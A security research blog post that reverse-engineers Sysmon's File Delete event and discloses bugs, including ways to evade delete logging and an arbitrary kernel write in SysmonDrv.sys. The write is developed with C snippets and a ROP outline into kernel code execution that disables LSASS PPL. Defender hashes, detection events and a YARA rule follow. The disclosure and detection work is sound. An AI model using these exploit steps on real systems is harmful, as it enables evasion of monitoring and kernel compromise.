Sysmon Internals - From File Delete Event to Kernel Code Execution

Sysmon File Delete Event Internals and Kernel Code Execution

Introduction

On April 2020, Mark Russinovich announced the release of a new event type for Sysmon version 11.0: event ID 23, File Delete. As indicated by the name, it logs file delete events that occur on the system. In addition to this, another functionality came alongside allowing files marked for deletion to be archived, enabling defenders to track tools being dropped by malware to better understand the actor's capabilities and develop signatures. This article will discuss the internals of Sysmon version 11.11's to gain insight into how it operates and its limitations. I have briefly checked Sysmon version 12.0 as it was released (September 17, 2020) during the writing of this article and the code for this event looks almost identical so the information should still be mostly relevant.

Before beginning the article, a huge thank you to Samir for the collaborative effort on this journey.

File Delete Conditions

Let's first understand the conditions for which the file delete event will be triggered. The file events are handled almost entirely by the SysmonDrv.sys driver through the minifilter component. Specifically, it monitors for three I/O request packets (IRP) IRP_MJ_CREATE, IRP_MJ_CLEANUP, and IRP_MJ_WRITE for file creates, complete handle closes (reference count on a file object reaching zero), and writes respectively.

IRP_MJ_CREATE

The purpose of this IRP in the context of file deletes is to handle two situations: file overwrites and file deletes using the FLAG_FILE_DELETE_ON_CLOSE option.

File overwrite versus FLAG_FILE_DELETE_ON_CLOSE

Sysmon will check first whether the file was opened with FLAG_FILE_DELETE_ON_CLOSE, and if it is, the configuration's filter rules will be matched against. If the conditions are met, the delete event will be created and the file will be archived in the IRP_MJ_CLEANUP request when all the handles to the file are closed.

On the other hand, if the file already exists and is being opened with overwrite intent (disposition value is either FILE_OVERWRITE or FILE_OVERWRITE_IF), the driver will attempt to open the file with FltCreateFile. If the function fails with STATUS_OBJECT_NAME_NOT_FOUND, the file doesn't exist and Sysmon will pass it on to be handled as a file create event. Otherwise, if it returns successfully, the target file exists and will be archived immediately, creating the delete event in tandem.

IRP_MJ_CLEANUP

As mentioned before, this request is sent when all of the referenced handles to a file have been closed. Sysmon handles this request by checking the DeletePending flag in the file object and archiving the file if it's set. In the case of FLAG_FILE_DELETE_ON_CLOSE, Sysmon will explicitly set the file's delete disposition to true using FltSetInformationFile with FileDispositionInformation before checking the DeletePending flag.

File is archived if DeletePending is set

IRP_MJ_WRITE

Sysmon also considers file content overwrites instead of just classic file deletes. To meet this condition, the write must originate from user mode, the write size must be greater than or equal to the size of the target file and the write should start at the zeroth offset.

File write should start at offset 0 and be greater than or equal to the file size

Sysmon will then read the first byte of the file before iterating through each byte of the buffer that will be written. To trigger the file archiving and delete event, all of the bytes must match the first recorded byte. Sysmon refers to this as shredding where all bytes of the overwrite are the same, e.g. AAAAAAA....

There is one more condition under IRP_MJ_WRITE which triggers the archive and delete event however, I was unable to trigger or trace the conditions required. Perhaps this would be an upcoming feature?

Internals

Now that the conditions of file delete events have been covered, let's investigate the implementation details.

File Delete Requirements

The first function to cover is one I call CheckAndQueueFileDeleteEvent and its main purpose is to check if the target file should be archived and if a delete event should be logged. It achieves this in several ways with a few initial checks. If any of the following conditions are met, the file delete event will be bypassed:

  1. The operation is made by the registered service process (should be Sysmon64.exe),
  2. The delete event was not set in the configuration,
  3. The target file is a device or directory,
  4. The file is empty,
  5. The file's parent directory is the archive directory.

After these initial checks, the function will retrieve the file's extension using FltParseFileNameInformation and also check if the file is an executable by using a few FltReadFile calls to read the MZ and PE signatures at offset 0 and 0x3C respectively. These values are returned back to the caller along with the image file name responsible for the operation.

Checking for PE executable signatures

Finally, it makes a call to a function I labelled QueueFileDeleteEvent to perform a final check if the file should be archived and logged.

Reporting File Delete Events

The following represents the proprietary file delete event structure:

typedef struct _FILE_DELETE_EVENT {
	/*   0 */ ULONG Id;          // 0xF0000000 for file delete.
	/*   4 */ ULONG Size;        // Struct size.
	/*   8 */ PVOID Unk1;
	/*  10 */ PVOID Unk2;
	/*  18 */ HANDLE ProcessHandle;
	/*  20 */ PKSYSTEM_TIME SystemUtcTime;
	/*  28 */ ULONG HashMethod;
	/*  2C */ BOOLEAN IsExecutable;
	/*  30 */ ULONG SidLength;
	/*  34 */ ULONG ObjectNameLength;
	/*  38 */ ULONG ImageFileNameLength;
	/*  3C */ ULONG HashLength;
	/*  40 */ WCHAR StatusString[256];
	/* 240 */ PEPROCESS ServiceProcessHandle;	// Actually a PEPROCESS object.
	/* 248 */ PKEVENT Event;
	/* 250 */ PBOOLEAN IsArchivedAddress;
	/* 258 */ // User SID.
	/* xxx */ // Object name.
	/* xxx */ // Image file name.
	/* xxx */ // File hash.
} FILE_DELETE_EVENT, * PFILE_DELETE_EVENT;
File delete event structure

The event is allocated and set in QueueFileDeleteEvent. But besides the obvious purpose of reporting file delete event data, it has another important, secondary purpose. The tenth argument to this function is a pointer that represents the boolean value of whether the target file should be archived. Although this pointer is optional, if it is a valid, non-zero value, this function serves to pass the event data to Sysmon64.exe via an event queue to be checked against the filter conditions provided in the configuration file.

Valid tenth argument

This explains the existence of the Event, IsArchivedAddress, and the ServiceProcessHandle members of the FILE_DELETE_EVENT structure. After intialising these values and the structure, the event is queued in a function I labelled QueueEvent and the thread is blocked using KeWaitForMultipleObjects waiting on either the Event or the Sysmon64.exe process.

Thread blocking after queuing file delete event

To understand this further, we need to know how events are reported from the driver to Sysmon64.exe.

QueueEvent

Sysmon utilises a doubly linked list to queue up events. In this article, I will refer to it as g_EventReportList. This function is relatively straightforward, if the event size is not greater than 0x3FCB8 + 0x348 (40000) it will be appended to g_EventReportList, otherwise, an incorrect event size error will be created. Since we are not concerned about the error event, we'll skip it for brevity.

An allocation for a new data structure is created to wrap the event argument:

typedef struct _EVENT_REPORT {
    /*  0 */ LIST_ENTRY ListEntry;
    /* 10 */ ULONG EventDataSize;
    /* 18 */ PVOID EventData;
} EVENT_REPORT, *PEVENT_REPORT;

The pointer to the event is pointed to by EventData and its size is stored in EventDataSize. After filling this structure, the EVENT_REPORT is appended in g_EventReportList if the number of entries is less than 50000. If there are 50000 entries, the first item in the queue is removed and deallocated.

Allocating and appending new event to g_EventReportList

Retrieving Events

Once events are queued, Sysmon64.exe can read them one by one through the driver's device control dispatch with the I/O control code 0x83400004.

Reading the first event on the queue through the device control dispatch

In the context of the file delete event, Sysmon64.exe will check for a valid Event member.

Sysmon64.exe checking for valid Event member

If it's valid, a filter check will be performed to determine if the target file object should be archived and a file delete event launched. The following data structure will be initialised and sent to the driver:

typedef struct _SET_ARCHIVED_INFO {
    /*  0 */ BOOLEAN IsArchived;
    /*  8 */ PEPROCESS ServiceProcessHandle;	// Service process.
    /* 10 */ PKEVENT Event;
    /* 18 */ PBOOLEAN IsArchivedAddress;
} SET_ARCHIVED_INFO, *PSET_ARCHIVED_INFO;

The IsArchived value is set depending on the return value of the function that checks for filter matching. Using DeviceIoControl, Sysmon will send the above structure back to the driver with the 0x83400010 I/O control code.

Sysmon64.exe responding with whether the file should be logged

Back in the driver's device control dispatch, the value in IsArchivedAddress will be set to IsArchived (!) before signalling the event to unblock QueueFileDeleteEvent.

Device control dispatch setting IsArchived value and signalling QueueFileDeleteEvent's wait

Once QueueFileDeleteEvent is signalled and unblocked, it will return the IsArchived value back through the tenth argument which is then returned again from CheckAndQueueFileDeleteEvent.

The return value is used in two locations: the IRP_MJ_CREATE with FLAG_FILE_DELETE_ON_CLOSE and in the ArchiveFile function. The former triggers the file delete event and archiving in the IRP_MJ_CLEANUP request by setting the CompletionContext value to 1 so that it can be handled in the minifilter's post operation.

Notifying post operation to handle FLAG_FILE_DELETE_ON_CLOSE files

The post operation routine simply allocates and sets a stream handle context with a size of two bytes. If the CompletionContext value is 1, the stream handle context will be set to the value of 0.

In post operation, set stream handle context to 0 if CompletionContext is 1

When the IRP_MJ_CLEANUP request is sent on handle close, it will check the stream handle context for 0 and set the target file's delete disposition.

Setting delete disposition if the stream handle context value is 0

File Archiving

When CheckAndQueueFileDeleteEvent returns to indicate that the file delete event should be logged, the ArchiveFile function will perform a second round of checks that must be passed if the target file should be archived. Using the subroutine that I have called GetFileInfo, Sysmon queries the state of the file for information such as the file's hash, the first byte, if the file is the same repeated byte (shredded), and if "kernel crypto" is supported - it should always be. In addition to this, ArchiveFile also queries for the available disk space. The target file will not be archived if any of the following is true:

  • The file is shredded,
  • "Kernel crypto" is not supported,
  • The remaining disk space is less than 10 MB.

If archiving is appropriate, it will call one of two functions. If the current IRP is IRP_MJ_WRITE, it will call the function I named CopyFile, else it will call the other I named RenameFile. The reason for why this happens is unknown to me. Both of these take the archive file name which is the file's hash (from GetFileInfo) and its extension (from CheckAndQueueFileDeleteEvent) that's generated by ArchiveFile.

CopyFile

This function is pretty self explanatory and simple. The size of the file is queried and a buffer created with a max size of 0x10000. The new archived file is created with FltCreateFile and chunks of the target file are copied over using FltReadFile and FltWriteFile. If, for some reason, the copy fails, Sysmon will report the error. The file delete event will be generated using QueueFileDeleteEvent specifying a NULL value for the tenth IsArchived parameter.

RenameFile

ArchiveFile will set this function as a delayed work item with which KeWaitForSingleObject is immediately called to trigger it. Unfortunately, I do not have an answer to this behaviour. Sysmon will simply rename the file from its original to the archived file name (replacing any existing file) before reporting the file delete event using QueueFileDeleteEvent specifying a NULL value for the tenth IsArchived parameter.

Bugs and Bypasses

Throughout my research of Sysmon - and to my surprise - I uncovered a few bugs and bypasses. In this section, I'll detail the findings and example implementations of how they can be abused. A special thank you to Samir for verifying these bugs as well as providing constant motivation.

File Shredding Bypass

Now that we understand how Sysmon identifies shredding and that it can archive files on such events, we can easily bypass it. Since shredding is defined by repeated bytes that fill the size of the file or greater, the solution is trivial. Just simply modifying the data overwrite with alternating or random non-repeated bytes. Even overwriting everything with the same repeated byte except the final character - obviously cannot be the same byte as the overwrite - will suffice.

Given the abundance of permutations for overwriting data, it's safe to assume that it's virtually impossible for Sysmon to detect these alternate methods. While it may be useful, I question its practicality.

File Delete and Overwrite Bypass

Sysmon has a small issue that seems to originate in the update from version 11.0 to 11.10 with the introduction of the CheckAndQueueFileDeleteEvent conditional in the specific FLAG_FILE_DELETE_ON_CLOSE case. The IoQueryFileDosDeviceName function call in CheckAndQueueFileDeleteEvent is provided to the file delete event reported to Sysmon64.exe where it is checked against the filter. However, dynamic analysis reveals that the resulting file object name is always C:. This means that the filter match will always fail unless the target file name is something like

<TargetFilename condition="begin with">C:</TargetFilename>

or

<FileDelete onmatch="exclude"/>

For some unknown reason, the following rule does not seem to capture the file delete event with FLAG_FILE_DELETE_ON_CLOSE:

<TargetFilename condition="is">C:</TargetFilename>

In addition to file deletes, this also works in the case of file overwrites with the FLAG_FILE_DELETE_ON_CLOSE option. Since Sysmon has precedence for this flag, targeting already existing files will never trigger the code that is supposed to perform the file overwrite check. The result is that the file archiving for overwritten files is never logged.

To demonstrate this, del on the command prompt deletes a file using the FLAG_FILE_DELETE_ON_CLOSE option. In the following image, the file creation is logged however, the file delete event isn't.

Sysmon failing to log FLAG_FILE_DELETE_ON_CLOSE file deletes

Arbitrary Kernel Write

I mentioned earlier that the Sysmon driver returns data to its service process to determine if a file delete event should be logged. The service process communicates back a boolean value to the driver which is written to a stack address. However, both the boolean value and the target stack address is controlled by the service process which effectively means that there is a write-what-where primitive from usermode.

Service Process Registration

To abuse this, we need to take over Sysmon64.exe and register our own from the perspective of the driver. To connect to a driver, usually a call to CreateFile is made with the path specifying the symbolic link to its device object. In this case, Sysmon's driver's device name is \\.\SysmonDrv.

HANDLE Device = CreateFile(
	L"\\\\.\\SysmonDrv",
	GENERIC_WRITE | GENERIC_READ,
	0,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL,
	NULL
);
CreateFile to open a handle to the Sysmon device

This results in the IRP_MJ_CREATE request being sent to the driver which is handled in its driver dispatch routine registered for the IRP_MJ_CREATE IRP. On examination of this code, it performs a privilege check on the requesting process to see if it has PRIVILEGE_SET_ALL_NECESSARY which effectively means we require debug privileges.

Opening handle to Sysmon's device requires debug privileges

Once a handle to the device is opened, the next step is to register the process with Sysmon. This means that Sysmon must set its global service process to that of our process. Sysmon supports the 0x83400000 I/O control code that's handled by the driver dispatch under the IRP_MJ_DEVICE_CONTROL request which can be made via the DeviceIoControl function using the handle to the device.  If we follow this control code in the function I labelled DriverDispatchDeviceControl, there is a length check for the input and output buffers.

Input and output buffer length checks

The input buffer size can be either 0 or 4 but the output buffer size must be 4. If the input buffer exists, it is checked against the value 1111 (0x457) - this seems to be the version of Sysmon, in this case, it is v11.11, in Sysmon v12.0, it is 1200. If the input value is incorrect, it will return with the STATUS_REVISION_MISMATCH error and fail the registration. If the input buffer is not supplied, it will ignore the revision check so providing the input buffer is optional. The output buffer will always return the version.

DeviceIoControl(
	Device,
	0x83400000,
	NULL,	// Optionally a DWORD buffer = 1111.
	0,
	&OutputBuffer,
	sizeof(OutputBuffer),
	&BytesReturned,
	NULL
);
DeviceIoControl to register as a service process

Once this requirement has been fulfilled, the driver will register the requesting process as the service process. in its g_ServiceProcessHandle variable.

Sysmon driver registering a service process

The driver does not contain any other mechanisms like certificate checks to verify the service process so any executable is compatible.

Reading Events

To abuse the write, we need to be able to read the file delete events reported by the driver to obtain valid Event and ServiceProcessHandle values. As aforementioned, the driver supports another I/O control code, 0x83400004, which reads events from the g_EventReportList queue. The only requirement here is that the output buffer needs to be able to fit the size of the event. To be able to support all of the events, we can either dynamically resize the buffer with the returned size or we can simply allocate a buffer with the maximum event size (40000 from the QueueEvent function).

EventData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 40000 );
//
// Read events.
//
DeviceIoControl(
	Device,
	0x83400004,
	NULL,
	0,
	EventData,
	40000 ,
	&BytesReturned,
	NULL
);
Allocation and reading events from the Sysmon driver

We can use DeviceIoControl again with the handle to the Sysmon device. The output buffer will return the details of all queued events so we will have to differentiate them by their ID - this is the first member of the event structure. We are only interested in file delete events so we need to filter for 0xF0000000. The last check is if the event data contains a valid Event member (as checked by Sysmon64.exe so we will follow its convention).

Once all of the conditions have been fulfilled, we can finally send a request back to the driver to perform the write using the 0x83400010 I/O control code. The IsArchivedAddress member points to where the single IsArchived byte will be written. The Event and ServiceProcessHandle members will just be copied from the delete event that was read earlier.

if (((PEVENT_HEADER)EventData)->Id == 0xF0000000) {
	FileDeleteEvent = (PFILE_DELETE_EVENT)EventData;
	//
	// Check if Event is valid.
	//
	if (FileDeleteEvent->Event) {
		ZeroMemory(&ArchivedInfo, sizeof(SET_ARCHIVED_INFO));

		//
		// Initialise struct to write to kernel.
		//
		ArchivedInfo.Event = FileDeleteEvent->Event;
		//
		// Should be this process.
		//
		ArchivedInfo.ProcessHandle = FileDeleteEvent->ServiceProcessHandle;
		//
		// Set target address to write byte.
		//
		ArchivedInfo.IsArchivedAddress = (PBYTE)(0xDEADBEEFDEADBEEF);
		//
		// Set byte to write.
		//
		ArchivedInfo.IsArchived = 0x42;

		//
		// Send to driver.
		//
		DeviceIoControl(
			Device,
			0x83400010,
			&ArchivedInfo,
			sizeof(SET_ARCHIVED_INFO),
			NULL,
			0,
			NULL,
			NULL
		);
	}
}
Requesting SysmonDrv.sys to write a single byte to an arbitrary kernel address

It should be noted that there may be some queued events that contain a ServiceProcessHandle from Sysmon64.exe so it may take a few event reads to remove those from the queue before newer events start to contain our process's.

The result of the above example code is a bug check for writing to an invalid address.

BSOD from SysmonDrv.sys on kernel write at an arbitrary address

Arbitrary Kernel Write to Kernel Code Execution

To be able to execute code through Sysmon requires a few stars to align, some luck, and some hacks. We'll go over what we can do with an arbitrary kernel write, what issues we have to solve, what is available to us from Sysmon, and finally, how to combine everything together to create a solution that allows us to inject and execute code.

What We Have

Arbitrary kernel writes allow us to write a ROP chain into the stack, bypassing any stack cookie mitigations that might be present. This effectively allows us to gain control over the execution of code. But since the kernel is a volatile space with regards to unhandled exceptions, if we overwite too much of a target stack, we may end up destroying any critical data and potentially end up crashing the system. To be able to restore normal code execution, the solution I have come up with is to perform a stack pivot to another writable section in kernel and write the ROP chain there.

Now that there is execution control, where can the stack pivot and the other gadgets be written reliably and safely to guarantee that they are all there before execution? We can guarantee the gadgets if they are written somewhere that isn't touched such as a data section cave. For the stack pivot, we don't want to have the target function finish before it's written.

Since we want to inject and execute code, we can first start off with allocating a pool that has RWX permissions for writing and then executing the code. Windows allows allocation of a NonPagedPool (we want the page to always be available for code execution) through the ExAllocatePoolWithTag function which contains the permissions we need. This also benefits us by reducing the complexity of needing to reprotect the code section. This is relatively easy to achieve and the ROP chain would look something like so:

pop rcx; ret
NonPagedPool
pop rdx; ret
Code size
pop r8; ret
Tag
ExAllocatePoolWithTag
ROP chain to allocate RWX pool

Injecting code into the pool is trivial but this is useless if we can't read the address of the pool. And how do we get the address of ExAllocatePoolWithTag? If we can somehow read the pool address and inject code, how can we execute the code?

Problem Solving

We have the basic requirements for getting code execution but some issues stand in the way. To summarise:

  1. How do we reliably and safely write the stack pivot to control execution?
  2. How do we get the address of ExAllocatePoolWithTag?
  3. Once we allocate the pool, how do we read it back in usermode?
  4. After the code is written into the pool, how can we execute it?

Starting with the first problem, we can abuse the thread blocking done in the QueueFileDeleteEvent used to wait for the reply from the service returning the boolean value to determine whether a target file should be archived. This provides both reliability and safety of writing the stack pivot gadget. But we can only write a single byte before the event is signalled, continuing execution of QueueFileDeleteEvent. This means we cannot write the eight bytes needed to pivot the stack. To verify this assumption, I had a look into the KeSetEevent function that is called after the single byte write.

Early return from KeSetEvent

Looking at the disassembly, there is actually an early return that doesn't seem to do anything that would affect the state of the kernel as there are only reads and comparisons. So we have hope of writing more bytes before unblocking QueueFileDeleteEvent. If we set the pointer of the Event member to an address that contains the byte array 00 00 00 00 01 00 00 00, the first two checks will turn towards the early return. Since KeSetEvent is always called with a FALSE third argument, dil will always be 0.

This can be further abused to write multiple bytes in quick succession because we don't need to wait for more delete events to provide valid Event addresses. The first delete event's Event value can be stored until the stack pivot and other gadgets have been written. The saved Event can be passed to unblock QueueFileDeleteEvent and execute the ROP on demand.

We now have the requirements to bypass the thread unblocking to write more than a single byte. But how do we find these values in ntoskrnl.exe with ASLR?

To solve the problem of ASLR and finding the address of ExAllocatePoolWithTag, Windows provides the EnumDeviceDrivers function which returns an array of the current base addresses of all drivers loaded into the kernel. The following code snippet demonstrates how this can be done.

PVOID
GetDriverBase(
	_In_ PCWSTR DriverName
)
{
	ULONG ReturnLength = 0;
	PVOID Drivers[1024];
	WCHAR DriverNames[MAX_PATH];

	ZeroMemory(Drivers, sizeof(Drivers));

	if (!EnumDeviceDrivers(Drivers, sizeof(Drivers), &ReturnLength)) {
		PRINT_ERROR("EnumDeviceDrivers failed: %u\n", GetLastError());
		return NULL;
	}

	for (SIZE_T i = 0; i < ReturnLength / sizeof(Drivers[0]); i++) {
		ZeroMemory(DriverNames, sizeof(DriverNames));

		if (GetDeviceDriverBaseName(Drivers[i], DriverNames, ARRAYSIZE(DriverNames))) {
			if (StrStrI(DriverNames, DriverName)) {
				return Drivers[i];
			}
		}
	}

	return NULL;
}
Example code to get the kernel base address of a driver

To get offsets of a driver, LoadLibrary can be used to load them into the usermode process. Subtracting the base of the user-loaded module and then adding the kernel base address from EnumDeviceDrivers, we can calculate the correct kernel addresses.

PVOID
GetNtProc(
	_In_ PCSTR ProcName
)
{
	PVOID Proc = NULL;
	HMODULE NtBaseLib = NULL;
	PVOID ProcAddress = NULL;

	NtBaseLib = LoadLibrary(L"ntoskrnl.exe");
	if (!NtBaseLib) {
		return NULL;
	}

	Proc = GetProcAddress(NtBaseLib, ProcName);
	if (!Proc) {
		FreeLibrary(NtBaseLib);
		return NULL;
	}

	ProcAddress = (PVOID)((ULONG_PTR)GetDriverBase(L"ntoskrnl.exe") + (ULONG_PTR)Proc - (ULONG_PTR)NtBaseLib);

	FreeLibrary(NtBaseLib);

	return ProcAddress;
}
Example code to get the kernel address of a function in ntoskrnl.exe

The next problem is reading the allocated pool. Sysmon provides only one way of providing controllable data back to usermode and that is through event reporting. We can abuse this by writing the pool address to an event and then read it in the usermode process. The first thing I tried to do was to ROP into the QueueEvent using a custom event passed into rcx however, there were two issues. Calling QueueEvent will trigger a path that will call ExFreePool which will eventually cause a bug check with a stack issue. The reason for this is unknown to me but I could not get it to work. The alternative to this is to skip the beginning of the function and ROP into the code that queues the new event. Unfortunately, acquiring the mutex to manipulate g_EventReportList throws another bug check so this route won't work either.

To force this to work, a hack was needed. Since accessing g_EventReportList through QueueEvent was not feasible, directly accessing the event queue would still work but with some small issues: an event must already be queued and it must not be removed. Since a process does not need to be required to be "registered" by the driver to read events, Sysmon64.exe can still pull them from g_EventReportList despite our own process already interacting with the driver. To combat this, we can simply suspend the threads of Sysmon64.exe. If an event is not queued and the write of the pool address is attempted, the system will bug check with a corrupted list error. Because of this hack, it can be a point of failure.

Because we are writing to an existing event, we need to choose a member to overwrite. Sysmon events are usually formatted with a four-member header. Here's what the file delete event looks like as an example:

typedef struct _FILE_DELETE_EVENT {
	/*   0 */ ULONG Id;          // 0xF0000000 for file delete.
	/*   4 */ ULONG Size;        // Struct size.
	/*   8 */ PVOID Unk1;
	/*  10 */ PVOID Unk2;
	// Omitted for brevity
} FILE_DELETE_EVENT, *PFILE_DELETE_EVENT;
Event header members for Sysmon events

In all events that isn't the report event type, Unk1 and Unk2 are always 0. If we place them here, it can easily be determined if the pool was written or not simply by checking for a value. The usermode process can now read the allocated pool through the event list.

Injecting code into the pool is trivial. The data can be written quickly using the KeSetEvent bypass. The final problem we need solved is how the code is executed. The first few solutions involved spawning a thread using functions like PsCreateSystemThread, IoCreateSystemThread, IoQueueWorkItem, ExQueueWorkItem, and IoCreateDriver however, these all end up as bug checks either caused directly by the function or as a side effect from calling ExFreePool. No matter, we have an arbitrary write so we can simply take advantage of Sysmon's use of dynamic function resolutions to call our code. For example, Sysmon dynamically resolves ZwOpenProcessTokenEx and so we can just overwrite the value in the data section to point to our code's entry point. Luckily for us, Sysmon does not use Control Flow Guard.

SysmonDrv using dynamically resolved ZwOpenProcessTokenEx

Again, we need to handle the return safely so that restoration can be done to stop the kernel from panicking. We can simply return an erroneous NTSTATUS value or we can jump to ZwOpenProcessTokenEx from the shellcode after it finishes.

This concludes the issues that we had. We were able to transform a write-what-where primitive combined with a read provided by Sysmon allowing us to inject arbitrary data into the kernel. From there, we took advantage of dynamic function resolution to execute our code. It should be noted that if stack pivoting is used, there is a chance that the kernel may bug check on an invalid stack pointer location. It can be increased each time the pool fails to be read and requires more attempts.

Demonstration

As a proof-of-concept, I've developed some shellcode that disables LSASS PPL:

Notes for Defenders

This section was written by Samir with advice for defenders.

With the BYOV (Bring Your Own Vulnerability) option an attacker with the need to execute code or evade some kernel mode protection can leverage this technique and install a vulnerable Sysmon driver version. Thus it’s recommended to prevent the installation of those versions (as of writing this, versions before Sysmon v11.00 are not impacted).

Hashes of Impacted SysmonDrv versions:

35c67ac6cb0ade768ccf11999b9aaf016ab9ae92fb51865d73ec1f7907709dca
d2ed01cce3e7502b1dd8be35abf95e6e8613c5733ee66e749b972542495743b8
a86e063ac5214ebb7e691506a9f877d12b7958e071ecbae0f0723ae24e273a73
c0640d0d9260689b1c6c63a60799e0c8e272067dcf86847c882980913694543a
2a5e73343a38e7b70a04f1b46e9a2dde7ca85f38a4fb2e51e92f252dad7034d4
98660006f0e923030c5c5c8187ad2fe1500f59d32fa4d3286da50709271d0d7f
7e1d7cfe0bdf5f17def755ae668c780dedb027164788b4bb246613e716688840
Hashes for versions of SysmonDrv.sys

Although detection of these kind of techniques is hard (using Sysmon itself or Windows native logging), below is a listing of some suspicious key events prior to the exploitation completion.

Suspicious process attempting to access the Sysmon Service: note the PROCESS_SUSPEND_RESUME (0x0800) requested access (excludes generic access rights and alerts on sensitive ones).

Process Access event targeting Sysmon64.exe

Suspicious Process loading NT OS Kernel (should be rare and limited to the System virtual process):

Image Load event with ntoskrnl.exe

YARA Signature

rule Sysmon_KExec_KPPL {
meta:
 date = "30-09-2020"
 author = "SBousseaden"
 description = "hunt for possible injection with Instrumentation Callback PE"
 reference = "https://undev.ninja/p/9af8ac08-4879-4d87-a92b-ff4abc778908/"
strings:
 $sc1 = {90 51 B9 00 48 8D 0D DB 1F 00 00 44 89 7C 24 48 41 8B F7 4C 89 BD F0 01} 
 $sc2 = {65 C7 85 B8 01 00 00 48 8B 04 25} 
 $sc3 = {C7 85 BC 01 00 00 88 01 00 00 C7 85 C0 01 00}
 $sc4 = {DC 01 00 00 EA C6 80 ?? C7 85 E0 01 00 00 ?? 00 00 00 48}
 $sc5 = {C7 85 E4 01 00 00 48 B8 00 00 C7 85 EC 01 00 00 00 00 48 B9} 
 $sc6 = {48 89 01 59 66 C7 85 FC 01 00 00 FF E0}
 $sc7 = {65 48 8B 04 ?? ?? ?? 25 88 01 00}
 $sc8 = {48 8B 04 25 C7 85 4C 02 00 00 88 01}
 $sc9 = {48 89 01 59 66 C7}
 $ioc1 = {30 45 33 C9 C7 44 24 28 B8 FC 03 00 45 33 C0 BA 04 00 40 83 48 89 5C 24 20 48 8B}
 $ioc2 = {4C 89 74 24 30 BA 10 00 40 83 44 89 74 24 28 48 8B CE 4C 89}
 $sdrv1 = "SysmonDrv" wide
 $sdrv2 = "SysmonDrv"
condition: uint16(0) == 0x5a4d and 1 of ($sdrv*) and (2 of ($sc*) or 1 of ($ioc*))
}

Conclusion

This marks the end of the article. The file delete functionality was documented to the best of my ability and hopefully it is useful to someone. It would be great if someone more knowledgable could explain some of the things I couldn't.

Along with the internals, I think the bonus kernel code execution in SysmonDrv is pretty hilarious and ironic, repurposing Microsoft's own product that was built as a defensive tool for offensive and malicious intent. Ultimately, it does require administrative privileges to be abused and so it isn't a crtitical issue from a purely technical perspective (administrator to kernel isn't a security boundary!). However, because it is a Microsoft product and it's used as a trusted, core defensive component that's widely deployed, I personally feel like the impact is much greater. Having an issue like this in a security product may damage the reputation of Microsoft in some eyes. But as the product begins to pick up more functionality and increase in complexity, it's inevitable that security issues will be introduced. Microsoft should perform more internal testing for potential security issues and other bugs in future releases.

Anwyay, I hope that this can benefit and serve others more than it does to me, and that the reliability and capability of it can be improved (apologies for my amateur skill in exploit development). As always, my code can be found on my GitHub: https://github.com/NtRaiseHardError/Sysmon